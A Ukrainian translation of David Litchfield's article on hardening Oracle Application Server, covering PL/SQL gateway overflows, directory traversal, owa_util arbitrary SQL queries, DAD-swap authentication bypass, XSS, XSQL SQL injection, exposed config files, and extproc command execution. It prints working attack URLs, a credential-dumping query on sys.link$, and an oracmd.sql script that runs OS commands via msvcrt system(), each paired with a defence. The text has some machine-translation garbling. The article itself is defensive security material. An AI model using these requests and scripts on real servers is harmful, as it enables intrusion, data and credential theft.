Захист сервера додатків Oracle, Інші СУБД, Бази даних, статті

Автор: Девід Лічфілд

Передмова перекладача

В даній статті розглянуті деякі уразливості web-інтерфейсів Oracle. В принципі, ніяких невідомих розробникам помилок тут не представлено. Одні уразливості усуваються належним адмініструванням Oracle, зокрема, простим редагуванням конфігураційних файлів; для інших потрібно застосувати латки, доступні в сайті Oracle Metalink. Цінність цієї публікації полягає насамперед у тому, що вона показує, наскільки витонченими можуть бути способи атак на Oracle, наскільки дисциплінованими і передбачливими повинні бути адміністратори баз даних, операційних систем, мережевих компонентів і т. д.
Переклад публікується зі скороченнями.

Зміст


* Введення

Можливо, маркетингова кампанія о? Невразливості? Oracle спрямована на демонстрацію прихильності корпорації Oracle створення захищених продуктів, і дійсно, Oracle відноситься до інформаційної безпеки дуже серйозно. Продукти Oracle піддавалися перевірці і минуло чотирнадцять незалежних оцінок захисту, включаючи оцінку по? Загальним критеріям? (Common Criteria). У світі баз даних це дуже велике досягнення, залишило далеко позаду всіх конкурентів Oracle. Хоча Oracle 9 ще не сертифікована, немає ніяких сумнівів, що це скоро відбудеться. Поки ж ця стаття, будемо сподіватися, допоможе замовникам Oracle ближче познайомитися з пропонованою середовищем забезпечення безпеки.

Комусь може здатися, що робота над статтею про захист Oracle представляє собою сізіфова праця. Корпорація Oracle розробляє сотні продуктів, і кожен продукт міг би мати присвячену йому статтю. Обмежуючи рамки цього документа, ми будемо перевіряти найбільш загальну середу? web-інтерфейси Oracle з сервером бази даних Oracle. Головний акцент буде на web-інтерфейси, однак ми також коротко торкнемося і саму базу даних. Більш глибоке розгляд безпеки бази даних ми залишимо для іншої статті. Такий підхід був обраний тому, що web-сервер? це перший? порт заходу? порушника. У статті буде показано, як порушник може увірватися в сайт на базі Oracle, отримати управління над web-сервером, а через нього і над сервером бази даних. Кожна показана атака супроводжується поясненням захисту від неї. Деякі проблеми, що розглядаються в статті, вимагають тільки простої модифікації конфігураційних файлів; для вирішення інших проблем можуть знадобитися відповідні латки, доступні в сайті Oracle Metalink: http://metalink.oracle.com/ .

* Архітектура Oracle

Типовий сайт Oracle складається з web-сервера Oracle і сервера бази даних, захищених мережевим екраном. У web-сервері Oracle запускається додаток, розроблене в організації, якій належить сайт; це додаток користується перевагами функціональних можливостей однієї з багатих прикладних середовищ, що забезпечуються Oracle Application Server. Це може бути додаток PL / SQL, JSP (Java Server Pages), XSQL, java-сервлети або додаток на базі SOAP (Simple Object Access Protocol). (Також підтримуються Perl, Fastcgi та інші подібні засоби, але вони не так часто використовуються? В дикому вигляді? І тому тут не розглядаються.) Отримавши клієнтський запит, додаток web-сервера здійснює його диспетчеризацію і, якщо необхідно, з’єднується з сервером бази даних.

Зв’язок web-сервера і сервера бази даних здійснюється через лістенер. Лістенер відповідає за встановлення з’єднання з примірником бази даних Oracle, після чого участі у взаємодії з клієнтом він не приймає. Як ми побачимо далі в цій статті, у лістенера є й інші обов’язки. Він грає ключову роль у виконанні зовнішніх процедур сервера бази даних.

*Oracle Apache

Корпорація Oracle випустила свій web-сервер, відомий під ім’ям Oracle Web Listener, а зараз за вибором в якості web-сервера можна використовувати Apache. У захисті Oracle Web Listener є численні діри, за замовчуванням і сервер Apache, що поставляється з Oracle Application Server, не набагато краще. Його уразливості: численні проблеми? Переповнення буфера?, Атаки типу? Відмова в обслуговуванні?, З ним поставляється занадто багато небезпечних зразків сторінок, Аего установки за замовчуванням залишають бажати багато кращого. Кожна прикладна середу має свої власні унікальні проблеми, які піддають сервер небезпеки, але від них можна захиститися.

*PL/SQL

Пакети PL / SQL по суті представляють собою збережені в базі даних процедури. Пакети містять процедури, які можуть викликатися безпосередньо, а також функції, які викликаються всередині пакетів. Модуль PL / SQL для Apache розширює функціональні можливості web-сервера, дозволяючи web-серверу викликати збережені в базі даних пакети PL / SQL. Найкраще представляти модуль PL / SQL як шлюз з Web в сервер бази даних Oracle, що використовує збережені процедури. За замовчуванням всі запити, що надходять в web-сервер, що починаються з / pls, направляються для диспетчеризації в модуль PL / SQL. Клієнтський запит URL буде містити ім’я DAD (Database Access Descriptor? дескриптор доступу до бази даних), ім’я пакета PL / SQL в сервері бази даних і ім’я викликається процедури. Будь-які параметри, які потрібно передати в процедуру, задаються в рядку запиту:

http://oracleserver/pls/bookstore/books.search?cname=War+and+Peace

Даний URL має DAD? “Bookstore”, що викликається пакет PL / SQL? “Books”, викликається процедура? “Search”, в який передається параметр “cname” (ім’я книги для пошуку). DAD вказує розділ у файлі wdbsvr.app, який описує, як Apache повинен з’єднуватися з сервером бази даних, і містить такі деталі як UserID (ідентифікатор користувача) і пароль, використовувані для аутентифікації. Якщо не задані ніякі реквізити доступу, web-клієнт повинен отримати запрошення для їх введення. Після з’єднання з сервером бази даних в базу даних завантажується пакет “books” і виконується процедура пошуку (“search”). Результати пошуку передаються назад в web-сервер, який, в свою чергу, відправляє їх запитуючій клієнту.

* Переповнення буфера PL / SQL

Модуль PL / SQL має декілька вразливостей типу? Переповнення буфера?. Вони можуть бути використані для виконання довільного коду в уразливому web-сервері. У Windows NT/2000 процес apache працює в контексті захисту локального користувача SYSTEM, так що будь-який виконуваний код буде працювати з повними привілеями. Перша уразливість виявляється, коли робиться запит адміністративної довідкової сторінки. Навіть якщо адміністративні сторінки захищені та вимагають введення UserID або пароля, це не так для довідкових сторінок. Для перевірки вразливості вашого сайту введіть:

http://oracleserver/pls/dadname/admin_/help/AAAAA……

Тут AAAAAA ….. ? занадто довга рядок (близько 1000 байтів). Якщо виникне помилка порушення доступу або дамп пам’яті, то ваш сервер уразливий і потрібно застосувати латку з сайту Metalink. Якщо латку застосувати не можна, то з метою зменшення ризику атаки слід змінити шлях доступу до адміністративного каталогу (/ admin_ /) таким чином, щоб його було важко вгадати або піддати? лобової? атаці. Для цього відредагуйте файл wdbsvr.app в каталозі $ ORACLE_HOME $ Apachemodplsqlcfg.

Інше переповнення буферу виникає, коли робиться аналогічний запит, але на цей раз без імені DAD (“dadname”):

http://oracleserver/pls/admin_/help/AAAAA……

У цьому випадку сервер apache перенаправляє запит в / pls / dadname / admin_ / help / AAAAA ……, де “dadname”? ім’я DAD за замовчуванням. Тут виникає переповнення буферу. І знову слід інсталювати латку і змінити шлях доступу до адміністративного каталогу.

Інше переповнення буферу виникає, коли робиться запит клієнтом, що задає реквізити доступу до web-серверу (в HTTP-заголовку? Authorization?). Занадто довгий пароль призведе до переповнення буферу. Будь передається код кодується по базі 64, тому його не так легко розпізнати.

Для всіх цих вразливостей слід завантажити та інсталювати латки з сайту Metalink.

* Простежування каталогів

Модулем PL / SQL можна скористатися для розкриття кореневого каталога Web і доступу до довільних файлів, доступних користувачеві операційної системи, під ім’ям якого працює web-сервер. Для перевірки вразливості вашого сайту відкрийте:

http://oracleserver/pls/dadname/admin_/help/..%255Cplsql.conf

Ця проблема виникає через те, що модуль PL / SQL має проблему подвійного декодування URL. На першому проході він перетворює% 255C в% 5C, а на другому проході перетворює% 5C в “”, і стає можливим обхід каталогів. Для захисту інсталюйте латку з сайту Metalink.

* Адміністрування PL / SQL

За замовчуванням є можливість віддаленого адміністрування DAD? Ов PL / SQL без аутентифікації. Очевидно, це не дуже добре. Хоча це не надає порушників можливості виконання команд, вони можуть спробувати змінити UserID і пароль, які використовуються для з’єднання з сервером бази даних, пробуючи підвищити привілеї, використовуючи імена користувачів і паролі, що створюються за замовчуванням, такі, як SYS, SYSTEM або CTXSYS. В? Кращому? випадку вони зможуть добитися? відмови в обслуговуванні?. Уразливість сайту покаже запит:

http://oracleserver/pls/dadname/admin_/

Якщо буде повернута адміністративна сторінка, то вразливість є. Для захисту буде потрібно кілька кроків. Спочатку потрібно відредагувати файл wdbsvr.app в каталозі $ ORACLE_HOME $ Apachemodplsqlcfg. Потрібно змінити запис adminPath, щоб шлях доступу до адміністративного каталогу було важко вгадати або піддати? лобової? атаці. Слід також додати пароль.

*? Відмова в обслуговуванні? при авторизації модулем PL / SQL

У модулі PL / SQL є проблема з? Відмовою в обслуговуванні?. Коли модуль приймає запит з погано сформованим клієнтським HTTP-заголовком? Authorization? (Не встановлений тип авторизації, такий, як Basic Apache), виникає помилка порушення доступу або дамп пам’яті. Для вирішення цієї проблеми потрібно інсталювати латку, підготовлену Oracle. Вона доступна в сайті Metalink.

* Пакет PL / SQL OWA_UTIL

Пакет OWA_UTIL забезпечує сервіси, пов’язані з Web (спільно з такими пакетами, як HTP, використовуваний для створення змісту HTML, і HTF, в якому є функція, що видає теги HTML). Ці пакунки як і інші, встановлюються як частина PL / SQL Toolkit.

Пакет OWA_UTIL має багато процедур, які можуть викликатися безпосередньо з Web. У даному документі будуть розглянуті: signature, showsource, cellsprint, listprint і show_query_columns.

owa_util.signature

Ця процедура нічого не робить, а тільки повертає повідомлення? її можна використовувати для перевірки можливості отримання доступу до пакету owa_util. Вона не вимагає ніяких параметрів, хоча їх можна задавати. Приклад запиту:

http://oracleserver/pls/dadname/owa_util.signature

Якщо повертається повідомлення, в яке входить рядок:

This page was produced by the PL/SQL Cartridge on December 21, 2001 04:50 AM

Те доступ до пакету owa_util може бути отриманий.

Якщо повідомлення не повертається і web-сервер видає відповіді 500 або 403, то пакет, можливо, захищений. У більшості випадків, в залежності від способу захисту, її можна обійти, вставляючи на початку пробіл, символ табуляції або нового рядка:

http://oracleserver/pls/dadname/%20owa_util.signature

http://oracleserver/pls/dadname/%0Aowa_util.signature

http://oracleserver/pls/dadname/%08owa_util.signature

Незалежно від способу отримання доступу він дозволяє викликати інші процедури.

owa_util.showsource

Ця процедура видає вихідний код пакету, ім’я якого задається параметром (“cname”):

http://oracleserver/pls/dadname/owa_util.showsource?cname=owa_util

Цей запит видає вихідний код пакету owa_util.

http://oracleserver/pls/dadname/owa_util.showsoucre?cname=books

Цей запит видає вихідний код пакету books.

owa_util.cellsprint

Ця процедура дозволяє виконувати довільні запити SQL (SELECT). Їй потрібен один параметр, “p_theQuery”, але можна ставити і другий, “p_max_rows”, який вказує кількість повернених рядків. Якщо параметр “p_max_rows” не заданий, повертається 100 рядків. Запит:

http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users

видає перші 100 рядків таблиці dba_users схеми sys. Запит:

http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users&p_max_rows=1000

видає 1000 тій же таблиці.

Особливий інтерес представляє таблиця sys.link $. Вона містить список інших серверів баз даних, з’єднаних із запитуваною сервером. У ній також зберігаються у відкритому тексті UserID і паролі, які використовуються для встановлення з’єднання. Якщо така інформація є, можна встановлювати? Довірені? з’єднання з іншими серверами баз даних.

http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users@other.world

Задавши тут замість other.world значення зі стовпця name таблиці sys.link $, можна визначити ім’я іншого сервера бази даних (зі стовпця host), а потім з’єднатися з ним, використовуючи зазначені UserID і пароль, і запросити sys.dba_users.

owa_util.listprint

Ця процедура, як і процедура cellsprint, дозволяє виконувати довільні запити SQL, але з однією відмінністю? якщо виконується? select *?, повертається тільки один стовпець, перший. Замість? Select *?, Потрібно задавати? select ім’я_стовпця?:

http://oracleserver/pls/dadname/owa_util.listprint?p_theQuery=select%20username%20from%20sys.dba_users&p_cname=&p_nsize=

Тут виникає питання: як знаходити імена стовпців цієї таблиці?

owa_util.show_query_columns

Ця процедура дозволяє знаходити імена стовпців таблиці. Їй потрібен один параметр, “ctable”? ім’я таблиці.

http://oracleserver/pls/dadname/owa_util.show_query_columns?ctable=sys.dba_users

Повертається HTML-сторінка міститиме список імен.

Як видно, якщо порушник має доступ до пакету OWA_UTIL, він зможе досліджувати базу даних. OWA_UTIL? це приклад одного пакета, доступ до якого слід запобігати. Крім того, потрібно захищати всі пакети dbms_ *, htp, utl * та інші, які здаються вам небезпечними. Для цього відредагуйте файл wdbsvr.app і додайте відповідні пункти в список виключень (exclusion_list).

* Обхід аутентифікації PL / SQL

У деяких ситуаціях при виклику пакетів PL / SQL можливий обхід процесу аутентифікації. Уявімо інтерактивну банківську систему, яка дозволяє реєстрацію клієнтів в режимі on-line. Для цього використовується додаток PL / SQL (reg), яке має свій власний дескриптор доступу до бази даних (DAD) з UserID і паролем, дозволяючи таким чином? анонімний? доступ всім, хто захоче зареєструватися. Зареєструвавшись, користувач отримує доступ до реального банківського додатком PL / SQL (account), яке також має свій власний DAD. У цьому DAD не міститься UserID і пароль, тому коли користувач намагається звернутися до банківського додатком, йому буде запропоновано ввести реквізити доступу. URL банківського сайту будуть виглядати приблизно так:

http://oracleserver/pls/register/reg.signup

http://oracleserver/pls/banking/account.welcome

Оскільки DAD являють собою просто описи, як отримати доступ до сервера бази даних, аутентифікацію банківського програми можна обійти простий підміною DAD:

http://oracleserver/pls/register/account.welcome

За цим запитом доступ буде дозволений, так як UserID і пароль в DAD програми “reg” автентифікувати користувача в сервері бази даних. Для захисту від цього є два способи. Перш за все, додаток “Account” потрібно створювати в іншій схемі бази даних, відмінною від схеми програми “reg”. UserID, використовуваний для отримання доступу до додатка “reg”, не повинен мати доступу до чого-небудь у схемі додатка “Account”. Інший спосіб захисту від проблем подібного роду: відредагуйте файл wdbsvr.app і додайте відповідний пункт в список виключень (exclusion_list):

exclusion_list= account*, sys.*, dbms_*, owa*

* Уразливості крос-сайтовой скриптів PL / SQL

За замовчуванням дозволений доступ до пакету PL / SQL htp. Цей пакет експортує у вихідний HTML процедури і теги HTML. Багато процедури можуть бути використані для організації атак типу? Крос-сайтовой скрипти?:

http://oracleserver/pls/dadname/htp.print?cbuf=<script>alert(?Doh!?)</script>

Ці атаки представляють собою потенційну загрозу, тому доступ до пакету повинен бути закритий додаванням відповідного пункту в список виключень файлу файл wdbsvr.app.

*OracleJSP

У даному розділі розглянуто як додатки JSP, так і додатки SQLJSP, так як вони обидва діспетчерізіруются одним компонентом, OracleJSP.

* Трансляційні файли JSP

Коли web-клієнт запитує сторінку JSP, цю сторінку спочатку потрібно транслювати в додаток. Java. Для цього процесу потрібно створити вихідний файл. Java, який потім? На льоту? компілюється в файли. class. Ці файли залишаються у файловій системі, і до них можна звертатися з Web. За замовчуванням ніщо не забороняє доступ анонімного користувача до вихідного файлу. Java, який містить бізнес-логіку, логіку програми та часто UserID і паролі, які використовуються для з’єднання з сервером бази даних. Створюється три трансляційних файлу. При запиті сторінки “/ foo.jsp” будуть створені такі трансляційні файли:


Вони зберігаються в web-каталозі “/ _pages”. Якщо foo.jsp знаходиться в підкаталозі “bar”, тобто в “/ bar / foo.jsp”, в каталозі “_pages” буде створено каталог “_bar”, в який будуть поміщені ці три файли. Більш детально про правила іменування можна прочитати в

http://download-west.oracle.com/otndoc/oracle9i/901_doc/java.901/a90208/trandepl.htm

Для запобігання доступу порушника до цих трансляційним файлів потрібно модифікувати файл httpd.conf, додавши в нього:

<Location /_pages>
Order deny,allow
Deny from all
</Location>

Зауважимо, якщо сторінки JSP зберігаються в каталозі з псевдонімом (тобто не в підкаталозі каталогу “htdocs”), потрібно додати:

<Location /dirname/_pages>
Order deny,allow
Deny from all
</Location>

де “dirname”? ім’я каталогу з псевдонімом.

* Доступ до файлу Global.jsa

Так само, як і до трансляційним файлів JSP, можливий безпосередній доступ до файлу globals.jsa. Цей файл містить інформацію про програму і часто може містити UserID і пароль. Якщо JSP-додаток використовує файл globals.jsa, його потрібно захистити, додавши в файл httpd.conf:

<Files ~ “^globals.jsa”>
Order allow,deny
Deny from all
</Files>

*? Інтоксикація? JSP SQL

Так само, як і в будь-прикладної середовищі, необхідно забезпечувати безпеку клієнтського введення перед використанням його в якій-небудь логіці. Зокрема, одиночні лапки в символьних рядках клієнтського введення перед їх використанням в запитах SQL слід подвоювати або видаляти взагалі, якщо передбачається, що клієнт ввів числові дані, слід забезпечити, щоб це дійсно були числові дані. Oracle не підтримує пакетування кількох запитів SQL, як це робить Microsoft SQL Server, проте в Oracle можуть бути проблеми з UNION і вкладеними підзапитів.

* Відображення фізичних шляхів доступу до JSP

Коли запитується неіснуюча JSP-сторінка, в java виникає виняток FileNotFoundException і в повідомленні про помилку міститься фізичний шлях доступу до файлу. Ця проблема має низький ступінь ризику, тим не менше, для захисту створіть стандартну JSP-сторінку, яка буде обробляти такі винятки.

*XSQL

* Доступ до конфігураційному файлу XSQL

Конфігураційний файл XSQL можна знайти в $ / xsql / lib / XSQLConfig.xml. Він містить таку інформацію, як ім’я сервера бази даних, UserID і пароль. Оскільки цей файл може бути знайдений у віртуальному каталозі, його часто можна вивантажити в просматриваемом утриманні. Якщо ж він захищений і запит повертає помилку 403 (доступ заборонено), тим не менш, доступ до нього можна отримати, запитавши файл за допомогою XSQLServlet:

http://oracleserver/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml

Це дозволяє обійти захист.

*? Інтоксикація? XSQL SQL

В залежності від того, як написаний файл xsql, може з’явитися можливість виконання в сервері бази даних довільних запитів SQL. Розглянемо наступний код:

<?xml version=”1.0″?>

<xsql:query connection=”demo” xmlns:xsql=”urn:oracle-xsql”>

SELECT * FROM USERS_TABLE WHERE NAME = “{@name}”

</xsql:query>

Якщо його зберегти як file.xsql, запит може бути приблизно таким:

http://oracleserver/file.xsql?name=foobar

Результат буде повернений в браузер в форматі XML. Проте, додавши в кінці параметра name одиночну лапки, можна виконати другий запит:

http://oracleserver/file.xsql?name=foobar? union select * from foo-

Як вже вказувалося, але? Повторення? мати навчання?: перед включенням клієнтського введення в запити SQL його слід перевіряти. Для виконання довільних запитів SQL може бути використана одна з демонстраційних сторінок XSQL, яку слід видалити:

http://oracleserver/xsql/java/xsql/demo/adhocsql/query.xsql?xml-stylesheet=none.xsl&sql=select+*+from+sys.dba_users

* Таблиці стилів XSQL

Ранні версії розбирача XSQL були уразливі для атак типу? Виконання довільного XML?. Вказавши таблицю стилів, яка існує на іншому сайті, можна змусити web-сервер з’єднатися з цим віддаленим сайтом і завантажити в нього XML, який виконує все, що в ньому міститься. Ця проблема була розглянута Georgi Guninski.

*SOAP (Simple Object Access Protocol)

* Впровадження програм SOAP

У звичайній інсталяції Oracle 9iAS версії 1.0.2.2.1 встановлюються компоненти Oracle SOAP і дозволяється доступ віддалених анонімних користувачів до додатків SOAP. Цим потрібно займатися відразу ж, наскільки це можливо, для перевірки вразливості сервера можна виконати запит:

http://oracleserver/soap/servlet/soaprouter

Якщо сервер уразливий, його треба захищати. Більш детально див http://technet.oracle.com/deploy/security/pdf/ias_soap_alert.pdf.

* Конфігураційний файл SOAP

Файл soapConfig.xml слід захищати. Це не робиться за замовчуванням. До нього можна звернутися безпосередньо або за допомогою XSQLServlet:

http://oracleserver/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml

http://oracleserver/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml

* Замовчуванням

Багато хто з сервісів, інстальоване з Oracle Apache, такі, як Dynamic Monitoring Services, можуть бути доступні віддаленим анонімним користувачам. Для запобігання доступу до перерахованих нижче сторінкам слід відредагувати файл httpd.conf.

* Dynamic Monitoring Services (послуги динамічного моніторингу)

http://oracleserver/dms0

http://oracleserver/dms/DMSDump

http://oracleserver/servlet/DMSDump

http://oracleserver/servlet/Spy

http://oracleserver/soap/servlet/Spy

http://oracleserver/dms/AggreSpy

* Oracle Java Process Manager (диспетчер процесів Oracle Java)

http://oracleserver/oprocmgr-status

http://oracleserver/oprocmgr-service (в даний час не працює)

* Псевдонім Perl

У деяких версіях Oracle Application Server віртуальний каталог “/ perl” має фізичну адресу, що співпадає з фізичною адресою віртуального каталогу “/ cgi-bin”. Разом з тим, “/ perl” позначений як псевдонім Apache, а не як ScriptAlias ​​(псевдонім каталогу, що містить CGI-скрипти? Прим. Пер.). Отже, вихідний текст будь-якого скрипта в “/ cgi-bin” може бути доступний через каталог “/ perl”. Це потрібно виправити модифікацією файлу httpd.conf, помітивши псевдонім “/ perl” як ScriptAlias. З іншого боку, якщо Perl не використовується, його можна безболісно прибрати.

* ДЕМОНСТРАЦІЙНІ СТОРІНКИ

Небезпечні демонстраційні сторінки

Багато хто з демонстраційних сторінок, інстальоване з Oracle Application Server, можуть бути використані для руйнування системи. Наприклад:

http://oracleserver/demo/email/sendmail.jsp

може бути використана для відправки довільних e-mail? ов. Інші можуть бути використані для атак типу? Ін’єкція SQL?, В інших можливий витік інформації, наприклад:

http://oracleserver/demo/basic/info/info.jsp

Цей запит видає інформацію про змінні оточення. Те ж саме роблять “/ cgi-bin/printenv”, “/ fcgi-bin/echo” і “/ fcgi-bin/echo2”.

Перед введенням web-сервера в промислову експлуатацію слід видалити всі демонстраційні сторінки і скрипти.

* Лістенер TNS

TNS (Transparent Network Substrate? Прозора мережева середу)? протокол, який використовується клієнтами Oracle для з’єднання з базою даних через лістенер. Лістенер прослуховує по порту TCP 1521 (за замовчуванням ? прим. пер.) запити клієнтів на доступ до бази даних; отримавши такий запит, він запускає новий процес Oracle, який інформує лістенер про порт TCP, за яким очікується з’єднання. Лістенер інформує клієнта про це порте, потім клієнт з’єднується безпосередньо з процесом бази даних. Якщо база даних сконфигурирована як MTS (Multi Threaded Server? Багатопотокових сервер), створюється тільки два примірники процесів і кожен клієнт буде обслуговуватися одним з цих процесів, прослуховує фіксований порт. Крім обробки клієнтських запитів на з’єднання лістенер грає ключову роль в обробці запитів зовнішніх процедур. Але про це пізніше, спочатку перевіримо сам лістенер.

* Проблеми безпеки лістенера

Попередні версії лістенера мали численні проблеми типу? Переповнення буфера?. Це було досліджено в Covert Labs of Network Associates, і в сайті Metalink доступні відповідні латки. Вони не поставляються з дистрибутивом лістенера, тому тільки що інстальований лістенер може бути легко скомпрометований (тобто невеликі модифікації дозволяють зробити лістенер набагато більш захищеним). Про це раніше писав Howard Smith з корпорації Oracle, тому тут цей матеріал не обмовляється (стаття Говарда Сміта? Інформаційна безпека Oracle 9 i? Була опублікована в OM / RE? Прим. Пер.).

* EXTPROC і зовнішні процедури

Пакети PL / SQL можуть бути розширені для виклику зовнішніх функцій з бібліотек або DLL (Dynamic Link Library? Динамічно підключається бібліотека). Коли пакету PL / SQL під час виконання в сервері бази даних потрібно виконати зовнішню процедуру, процес Oracle з’єднується з лістенером і просить його завантажити відповідну бібліотеку, викликати потрібну функцію і передати їй надіслані йому параметри. Лістенер не завантажує бібліотеку в своє власне адресний простір, а запускає інший процес (extproc на платформах Unix або extproc.exe на платформах Windows) і повідомляє про це процесу Oracle. Процес Oracle з’єднується з процесом extproc, використовуючи іменовані канали (named pipes) і робить такий самий запит, який він зробив лістенеру. Процес extproc завантажує бібліотеку і викликає функцію. Для всього цього не виконується зовсім ніякої аутентифікації, що відкриває явну і надзвичайно небезпечну дірку в захисті.

У порушника з’являється можливість видати себе за процес Oracle і виконати будь-яку функцію в будь DLL файлової системи. У чому гострота цієї проблеми? Дії можна виконувати віддалено. Тому порушник може написати саморобку, яка через TCP з’єднається з лістенером / extproc і навіть без аутентифікації виконає будь-яку функцію, яку він побажає. Приклад можливої ​​реальної атаки: виклик функції system (), експортованої бібліотекою msvcrt.dll на платформах Windows, або exec () або system (), що експортуються libc на платформах Unix. Будь-яка команда операційної системи, передана в ці функції як параметр, буде виконуватися в контексті захисту облікового запису, що виконує процеси Oracle. У системах Unix? це звичайно користувач “oracle”, в Windows NT/2000? це за замовчуванням локальний користувач SYSTEM. Зайве говорити, що будь-яка команда, виконана від імені цих користувачів, буде мати неприємні наслідки для підключеної комп’ютерної системи.

Для зменшення ризику від подібних атак можна прийняти кілька заходів. Перша лінія оборони, природно,? використання мережевих екранів. Ніхто з Інтернету не повинен мати можливості доступу до порту лістенера 1521. Це не тільки допоможе знизити ризик, пов’язаний з цією проблемою, але також зменшить і інші. Маючи web-сервер, захищений так, як це описано в даному документі, можна зменшити ризики, які виходять від web-сервера, до мінімуму. Крім того, слід інсталювати латку, доступну в сайті Metalink. Якщо латка не може бути інстальована, можна обмежити кількість машин, які можуть мати доступ до лістенеру. Хоча цей механізм захисту базується тільки на IP-адресах, він допомагає. Цей процес називається “valid node checking” (перевірка допустимих вузлів) і вимагає модифікації файлу sqlnet.ora в каталозі $ORACLE_HOMEetworkadmin. Додайте наступні рядки:

tcp.validnode_checking = YES

tcp.invited_nodes = (10.1.1.2, scylla)

Само собою зрозуміло, замініть 10.1.1.2 і Scylla на хости, яким потрібен доступ. Будь хост, не перерахований тут, як і раніше буде мати можливість встановити по TCP з’єднання з лістенером, але лістенер буде просто завершувати це з’єднання. Включаються в список вузли слід обмежувати тільки тими машинами, яким потрібен доступ. Інший крок щодо зниження ризиків? встановити прослуховування лістенера не по порту, що встановлюється за умовчанням (тобто не по порту 1251). Хоча це і не велике рішення, так як будь-який, використовуючи сканер портів TCP, має шанс знайти лістенер, воно також допомагає. І нарешті, в Windows NT/2000 процеси Oracle не повинні працювати під локальним користувачем SYSTEM. Рекомендується створювати менше привілейовану обліковий запис, під якою будуть працювати процеси Oracle. Цієї облікового запису потрібно буде видати привілей “Logon as a service”.

* Безпека баз даних Oracle

Як було зазначено на початку даної статті, ми розглядаємо лише кілька областей безпеки баз даних. Більш детальне обговорення буде проведено в наступних документах. У даному розділі ми розглянемо наступні теми:


* Зовнішні процедури PL / SQL

Незважаючи на те, що ми вже розглянули проблеми лістенера з віддаленим виконанням зовнішніх процедур, перевіримо їх виконання з самої бази даних. Для того щоб мати можливість виконання зовнішніх процедур з Oracle, повинна бути створена бібліотека (користувачем, який має привілей CREATE LIBRARY). За замовчуванням бібліотеки можуть створювати користувачі internal, sys, system, ctxsys і mtxsys. Якщо один з цих користувачів або будь-який інший, що має необхідну привілей скомпрометований, порушник отримує можливість створити бібліотеку і пакет PL / SQL, які зможуть виконувати команди операційної системи в контексті захисту облікового запису операційної системи, під якою працюють процеси Oracle. Типовий скрипт SQL, який може це робити, виглядає приблизно так.

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem

CREATE OR REPLACE LIBRARY exec_shell AS
“C:winntsystem32msvcrt.dll”;
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd
IS PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

Виконання цього скрипта показано нижче.

C:>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 – Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl
Connected.
SQL> @c:oracmd.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec (“dir > c:oracle.txt);

Потрібно проявляти пильність. Щоб не було таких зловживань, слід ретельно виконувати моніторинг користувачів, які можуть створювати пакети або бібліотеки.

* Висновок

Сподіваємося, що даний документ показав, що до того як база даних Oracle буде розміщена у ворожому середовищі, такий, як Інтернет, потрібно багато чого зробити. Існує багато доступних хороших ресурсів, які можуть допомогти захистити інсталяцію Oracle.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*